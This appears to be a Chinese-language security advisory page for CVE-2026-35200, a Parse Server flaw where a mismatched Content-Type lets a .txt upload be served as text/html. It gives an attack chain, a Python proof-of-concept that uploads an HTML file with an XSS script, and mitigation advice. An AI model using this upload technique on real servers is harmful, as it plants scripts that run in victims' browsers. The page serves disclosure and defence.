IPBUF安全漏洞报告
English
CVE-2026-35200 CVSS 5.4 中危

CVE-2026-35200 Parse Server文件扩展名与Content-Type不一致漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35200
漏洞类型
文件上传漏洞
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Parse Server

相关标签

文件上传Parse ServerMIME类型混淆XSSCVSS-5.4

漏洞概述

Parse Server 在 8.6.73 和 9.7.1-alpha.4 之前的版本中存在安全漏洞。攻击者可上传扩展名在允许列表内(如 .txt)但 Content-Type 头不一致(如 text/html)的文件。由于缺乏一致性验证,存储适配器(如 S3 或 GCS)会使用错误的 Content-Type 提供文件,可能引发安全风险。默认 GridFS 适配器不受影响。

技术细节

该漏洞源于 Parse Server 在处理文件上传请求时,仅校验了文件扩展名是否在允许列表中,而未将扩展名与 HTTP 请求头中的 Content-Type 进行一致性比对。攻击者利用这一逻辑缺陷,构造一个伪装成合法文本文件(例如 .txt)的 HTML 或 JavaScript 文件,并在上传时将 Content-Type 设置为 text/html。Parse Server 将此请求透传给后端存储适配器(如 AWS S3 或 Google Cloud Storage)。这些存储服务信任并保存了服务器传入的 Content-Type。当受害者访问该文件 URL 时,浏览器会响应头中的 Content-Type 将文件内容渲染为网页,从而执行其中的恶意脚本,导致跨站脚本攻击(XSS)。

攻击链分析

STEP 1
1. 攻击准备
攻击者准备包含恶意脚本(如 XSS Payload)的文件,将其文件名设置为允许列表内的扩展名(如 .txt),但准备在 HTTP 头中声明为 text/html。
STEP 2
2. 上传恶意文件
攻击者向 Parse Server 发送文件上传请求,利用漏洞绕过扩展名检查,使服务器接受该文件并透传错误的 Content-Type 给存储适配器。
STEP 3
3. 存储与持久化
后端存储适配器(如 S3/GCS)保存文件,并使用 Parse Server 传入的 text/html 作为该文件的元数据 Content-Type。
STEP 4
4. 诱导与执行
攻击者诱导受害者访问上传后的文件链接。浏览器识别到响应头为 text/html,将文件内容渲染为网页并执行其中的恶意脚本。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL for Parse Server file upload target_url = "http://target-server.com/parse/files/fileRole" # Headers simulating the exploit headers = { "X-Parse-Application-Id": "YOUR_APP_ID", "X-Parse-REST-API-Key": "YOUR_REST_KEY", "Content-Type": "text/html" # Mismatched Content-Type } # File content containing malicious script # The filename has a .txt extension which might be allowed file_content = "<html><script>alert('XSS');</script></html>" files = { 'file': ('exploit.txt', file_content, 'text/html') } try: response = requests.post(target_url, headers=headers, files=files) if response.status_code == 201: print("[+] File uploaded successfully.") print("[+] URL:", response.json().get('url')) else: print("[-] Upload failed.") except Exception as e: print(f"Error: {e}")

影响范围

Parse Server < 8.6.73
Parse Server < 9.7.1-alpha.4

防御指南

临时缓解措施
如果无法立即升级,建议暂时使用默认的 GridFS 适配器,因为它在提供文件时会从文件名重新推导 Content-Type,不受此漏洞影响。或者,在存储桶层面配置策略,强制覆盖对象的 Content-Type。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表